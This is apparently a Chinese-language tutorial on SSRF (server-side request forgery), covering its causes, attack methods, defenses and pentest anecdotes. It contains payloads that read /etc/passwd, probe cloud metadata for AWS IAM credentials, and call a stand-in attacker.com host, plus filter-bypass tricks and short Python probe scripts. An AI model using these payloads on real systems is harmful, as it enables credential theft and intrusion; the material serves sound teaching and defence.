SSRF漏洞原理、攻击手法与防御策略详解

1. SSRF漏洞的本质与危害解析

SSRF(Server-Side Request Forgery)服务端请求伪造,本质上是一种由服务端发起非预期网络请求的安全缺陷。当攻击者能够控制服务器发出的请求目标时,就可能导致内网探测、数据泄露甚至远程代码执行等严重后果。

在实际渗透测试中,SSRF通常出现在以下三类场景:

  • 网页抓取/转码服务(如URL预览功能)
  • 文件导入/导出功能(如从指定URL获取文档)
  • 云服务元数据接口调用(如AWS/Aliyun metadata API)

关键特征:服务器对用户提供的URL参数未做严格校验,直接用于发起网络请求

2. SSRF漏洞的常见攻击手法

2.1 基础探测技术

通过修改URL参数尝试访问以下目标:

http://127.0.0.1:8080/admin http://169.254.169.254/latest/meta-data/ http://192.168.1.1/status

2.2 协议滥用技巧

利用不同协议绕过过滤:

  • file:///etc/passwd(读取系统文件)
  • dict://attacker.com:1337(端口扫描)
  • gopher://(构造任意TCP流量)

2.3 云环境特殊利用

针对云服务器的元数据接口攻击:

# AWS元数据探测脚本示例 import requests for endpoint in ['/latest/meta-data/', '/latest/user-data']: print(requests.get(f'http://169.254.169.254{endpoint}').text)

3. 漏洞防御的纵深体系

3.1 输入校验策略

建议采用白名单机制:

$allowed_hosts = ['cdn.example.com', 'img.example.com']; if(!in_array(parse_url($_GET['url'])['host'], $allowed_hosts)){ die('Invalid URL'); }

3.2 网络层防护

  • 禁用非常用协议(file/dict/gopher等)
  • 配置出口防火墙规则
  • 使用独立网络沙箱处理外部请求

3.3 服务加固方案

  • 云服务器:禁用元数据接口或启用IMDSv2
  • 容器环境:配置适当的网络策略
  • 应用服务器:设置请求超时和大小限制

4. 渗透测试实战记录

4.1 某电商平台案例

通过图片压缩功能中的URL参数,成功获取到AWS临时凭证:

http://victim.com/compress?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

4.2 绕过技巧实录

当遇到域名黑名单时,尝试:

  • 使用十进制IP编码(如2130706433代替127.0.0.1)
  • 利用重定向服务(如bit.ly)
  • 子域名混淆(admin.example.com@attacker.com)

5. 自动化检测方案

推荐使用以下工具组合:

  1. SSRFmap(自动化探测)
  2. Burp Collaborator(带外检测)
  3. 自定义Python检测脚本:
import requests payloads = ['http://burpcollaborator.net', 'file:///etc/passwd'] for p in payloads: r = requests.get(f'http://target/api?url={p}') if 'root:x' in r.text: print(f'Vulnerable to {p}')

6. 企业级防护建议

对于金融、政务等关键系统,建议:

  1. 部署WAF规则拦截异常请求
  2. 定期进行红蓝对抗演练
  3. 建立请求日志审计机制
  4. 对开发人员进行安全编码培训

在最近某次渗透测试中,通过精心构造的gopher协议请求,我们成功利用SSRF漏洞获取到了内网Jenkins系统的管理员权限。这再次证明:看似简单的URL参数处理不当,可能成为整个内网沦陷的突破口